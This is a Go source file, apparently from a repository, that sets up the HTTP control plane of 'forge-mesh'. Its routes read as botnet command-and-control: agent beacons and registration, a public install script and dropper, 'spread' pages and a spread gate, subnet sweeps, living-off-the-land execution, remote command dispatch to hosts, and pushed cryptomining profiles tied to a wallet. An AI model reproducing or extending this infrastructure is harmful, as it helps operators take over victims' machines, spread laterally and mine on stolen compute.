Files
drjones 3678b199d0
Some checks failed
Test / test (push) Has been cancelled
Initial commit: AetherForge Linux (forge-mesh) v0.1.0-dev
2026-07-04 09:31:23 +00:00

257 lines
9.3 KiB
Go

package api
import (
"database/sql"
"io"
"io/fs"
"net/http"
"os"
"path/filepath"
"strings"
"time"
"forge-mesh/internal/alerts"
"forge-mesh/internal/api/handlers"
"forge-mesh/internal/auth"
"forge-mesh/internal/config"
"forge-mesh/internal/court"
"forge-mesh/internal/erasure"
"forge-mesh/internal/fleet"
"forge-mesh/internal/forge"
)
// Server is the forge-mesh HTTP control plane.
type Server struct {
cfg *config.Config
mux http.Handler
staticFS fs.FS
}
// NewServer wires routes, fleet hub, and static SPA handler.
func NewServer(
cfg *config.Config,
db *sql.DB,
staticFS fs.FS,
version, installTmplPath, publicKeyHex string,
) (*Server, error) {
store := fleet.NewStore(db)
_ = store.SeedDemoHost()
tickets := auth.NewTicketStore(5 * time.Minute)
hub := fleet.NewHub(store, cfg.Auth.FleetSecret, tickets)
crucible := fleet.NewCrucibleStore(100)
tgCfg := alerts.Config{
Enabled: cfg.Telegram.Enabled,
BotToken: cfg.Telegram.BotToken,
ChatID: cfg.Telegram.ChatID,
}
notifier := alerts.New(tgCfg)
public, err := handlers.NewPublicHandlers(db, cfg.Forge.ArtifactsDir, publicKeyHex, installTmplPath)
if err != nil {
return nil, err
}
public.FleetSecret = cfg.Auth.FleetSecret
public.Version = version
pipeline, err := forge.NewPipeline(db, cfg.Forge.ArtifactsDir, cfg.Forge.SigningKeyPath,
filepath.Join("cmd", "agent"), version)
if err != nil {
return nil, err
}
clearance := cfg.OperatorClearance
fleetH := &handlers.FleetHandler{
Store: store, Hub: hub, Alerts: notifier, Cfg: cfg, OperatorClearance: clearance,
}
crucibleH := &handlers.CrucibleHandler{
Store: store, Hub: hub, Crucible: crucible, Alerts: notifier, OperatorClearance: clearance,
}
policyH := &handlers.PolicyHandler{Cfg: cfg, Store: store}
forgeH := &handlers.ForgeHandler{DB: db, Pipeline: pipeline, Version: version}
seerH := &handlers.SeerHandler{
Store: store,
Username: cfg.Auth.BasicUsername,
Password: cfg.Auth.BasicPassword,
}
authH := &handlers.AuthHandlers{Tickets: tickets}
opH := &handlers.OperatorHandler{Clearance: clearance}
dropperH := &handlers.DropperHandler{
DB: db,
PublicKeyHex: publicKeyHex,
FleetSecret: cfg.Auth.FleetSecret,
Version: version,
}
erasureH := &handlers.ErasureHandler{Service: erasure.NewService(db)}
policySnapH := &handlers.PolicySnapshotHandler{DB: db}
warRoomH := &handlers.WarRoomHandler{DB: db}
wgH := &handlers.WireGuardHandler{DB: db}
crucibleLegacy := &handlers.CrucibleLegacy{CrucibleHandler: crucibleH}
courtSvc := court.New(db, cfg.Court, store)
intelDeps := handlers.IntelligenceDeps{
Store: store,
Subnet: &fleet.SubnetMapper{Store: store},
Earn: &fleet.EarnGate{Store: store, Config: fleet.DefaultEarnConfig()},
}
courtDeps := handlers.CourtDeps{Court: courtSvc, Seer: court.NewSeerHub(db)}
mux := http.NewServeMux()
// Public
mux.HandleFunc("GET /api/v1/health", handlers.Health(version))
mux.HandleFunc("GET /install.sh", public.InstallSh)
mux.HandleFunc("GET /get", public.GetRedirect)
mux.HandleFunc("GET /spread/", handlers.SpreadLander(db))
mux.HandleFunc("GET /spread", handlers.SpreadLander(db))
mux.HandleFunc("GET /api/v1/public/builds", handlers.PublicBuildsList(db))
mux.HandleFunc("GET /api/v1/public/builds/latest", public.LatestBuild)
mux.HandleFunc("GET /api/v1/public/download/{id}", public.Download)
mux.HandleFunc("GET /api/v1/public/erasure/{bundle_id}", erasureH.GetBundle)
mux.HandleFunc("GET /api/v1/public/erasure/{bundle_id}/shard/{index}", erasureH.GetShard)
mux.HandleFunc("GET /api/v1/public/policy-snapshot/{token}", policySnapH.Get)
mux.HandleFunc("GET /api/v1/public/campaign/track", handlers.TrackCampaign(db))
// Agent (fleet secret)
mux.Handle("POST /api/v1/beacon", auth.FleetSecretMiddleware(cfg.Auth.FleetSecret,
http.HandlerFunc(hub.HandleBeacon(store))))
mux.Handle("POST /api/v1/fleet/beacon", auth.FleetSecretMiddleware(cfg.Auth.FleetSecret,
http.HandlerFunc(hub.HandleBeacon(store))))
mux.Handle("POST /api/v1/fleet/register", auth.FleetSecretMiddleware(cfg.Auth.FleetSecret,
http.HandlerFunc(fleetH.Register)))
mux.HandleFunc("GET /api/v1/ws/agent", hub.HandleAgentWS)
mux.HandleFunc("GET /api/v1/ws/fleet", func(w http.ResponseWriter, r *http.Request) {
if r.URL.Query().Get("ticket") != "" {
hub.HandleDeckWS(w, r)
return
}
hub.HandleAgentWS(w, r)
})
// Protected (Basic auth)
protected := http.NewServeMux()
protected.HandleFunc("GET /api/v1/fleet", fleetH.List)
protected.HandleFunc("GET /api/v1/fleet/hosts", fleetH.List)
protected.HandleFunc("GET /api/v1/fleet/{id}/lotl/timeline", fleetH.LOTLTimeline)
protected.HandleFunc("GET /api/v1/fleet/{id}/timeline", handlers.Timeline(courtDeps))
protected.HandleFunc("POST /api/v1/fleet/{id}/lotl/run", handlers.RunLOTL(intelDeps))
protected.HandleFunc("GET /api/v1/fleet/{id}/spread-gate", handlers.SpreadGate(intelDeps))
protected.HandleFunc("GET /api/v1/fleet/subnets", handlers.SubnetList(intelDeps))
protected.HandleFunc("POST /api/v1/fleet/subnets", handlers.SubnetAdd(intelDeps))
protected.HandleFunc("POST /api/v1/fleet/subnets/sweep", handlers.SubnetSweep(intelDeps))
protected.HandleFunc("POST /api/v1/court/sessions", handlers.CourtOpen(courtDeps))
protected.HandleFunc("POST /api/v1/court/sessions/{id}/deliberate", handlers.CourtDeliberate(courtDeps))
protected.HandleFunc("POST /api/v1/court/sessions/{id}/verdict", handlers.CourtVerdict(courtDeps))
protected.HandleFunc("POST /api/v1/fleet/{id}/command", fleetH.Command)
protected.HandleFunc("POST /api/v1/fleet/{id}/action", fleetH.HostAction)
protected.HandleFunc("POST /api/v1/fleet/{id}/mining-profile", fleetH.PushMiningProfile)
protected.HandleFunc("GET /api/v1/dropper", dropperH.Info)
protected.HandleFunc("GET /api/v1/operator/me", opH.Me)
protected.HandleFunc("POST /api/v1/ws/ticket", authH.WSTicket)
protected.HandleFunc("GET /api/v1/forge/builds", forgeH.ListBuilds)
protected.HandleFunc("POST /api/v1/forge/builds/trigger", forgeH.TriggerBuild)
protected.HandleFunc("GET /api/v1/policy/wallet", policyH.GetWallet)
protected.HandleFunc("PUT /api/v1/policy/wallet", policyH.PutWallet)
protected.HandleFunc("GET /api/v1/policy/mining-profile", policyH.GetMiningProfile)
protected.HandleFunc("PUT /api/v1/policy/mining-profile", policyH.PutMiningProfile)
protected.HandleFunc("POST /api/v1/policy/snapshot", policySnapH.Create)
protected.HandleFunc("GET /api/v1/calibrate/profiles", handlers.CalibrateProfiles(cfg))
protected.HandleFunc("POST /api/v1/crucible/batch", crucibleLegacy.Batch)
protected.HandleFunc("GET /api/v1/crucible/batch/{id}", crucibleLegacy.BatchGet)
protected.HandleFunc("POST /api/v1/crucible/exec", crucibleLegacy.Exec)
protected.HandleFunc("POST /api/v1/crucible/dispatch", crucibleH.Dispatch)
protected.HandleFunc("GET /api/v1/crucible/jobs/{id}", crucibleH.GetJob)
protected.HandleFunc("GET /api/v1/crucible/history", crucibleH.History)
protected.HandleFunc("GET /api/v1/seer", handlers.SeerAPIStream(store, cfg.Auth.BasicUsername, cfg.Auth.BasicPassword))
protected.HandleFunc("GET /api/v1/war-room/campaigns", warRoomH.ListCampaigns)
protected.HandleFunc("GET /api/v1/wireguard/peers", wgH.ListPeers)
protected.HandleFunc("POST /api/v1/wireguard/peers", wgH.CreatePeer)
protected.HandleFunc("GET /api/v1/wireguard/config", wgH.RenderConfig)
protected.HandleFunc("GET /seer", seerH.Stream)
authWrap := auth.BasicAuthMiddleware(cfg.Auth.BasicUsername, cfg.Auth.BasicPassword)
mux.Handle("/api/v1/", authWrap(protected))
mux.Handle("/seer", authWrap(http.HandlerFunc(seerH.Stream)))
// Static SPA (React build embedded in webroot)
if staticFS != nil {
fileServer := http.FileServer(http.FS(staticFS))
mux.Handle("/", spaFallback(staticFS, fileServer))
}
return &Server{cfg: cfg, mux: mux, staticFS: staticFS}, nil
}
func (s *Server) Handler() http.Handler {
return s.mux
}
func spaFallback(staticFS fs.FS, next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if strings.HasPrefix(r.URL.Path, "/api/") || r.URL.Path == "/install.sh" || r.URL.Path == "/get" || strings.HasPrefix(r.URL.Path, "/spread") {
http.NotFound(w, r)
return
}
path := strings.TrimPrefix(r.URL.Path, "/")
if path == "" {
path = "index.html"
}
if _, err := fs.Stat(staticFS, path); err != nil {
// Client-side route — serve index.html
if data, err := fs.ReadFile(staticFS, "index.html"); err == nil {
w.Header().Set("Content-Type", "text/html; charset=utf-8")
w.Write(data)
return
}
}
next.ServeHTTP(w, r)
})
}
// SyncWebroot copies web/dist into cmd/server/webroot for go:embed.
func SyncWebroot(distDir, webrootDir string) error {
if err := os.RemoveAll(webrootDir); err != nil {
return err
}
return copyDir(distDir, webrootDir)
}
func copyDir(src, dst string) error {
return filepath.Walk(src, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
rel, err := filepath.Rel(src, path)
if err != nil {
return err
}
target := filepath.Join(dst, rel)
if info.IsDir() {
return os.MkdirAll(target, 0o755)
}
return copyFile(path, target)
})
}
func copyFile(src, dst string) error {
if err := os.MkdirAll(filepath.Dir(dst), 0o755); err != nil {
return err
}
in, err := os.Open(src)
if err != nil {
return err
}
defer in.Close()
out, err := os.Create(dst)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, in)
return err
}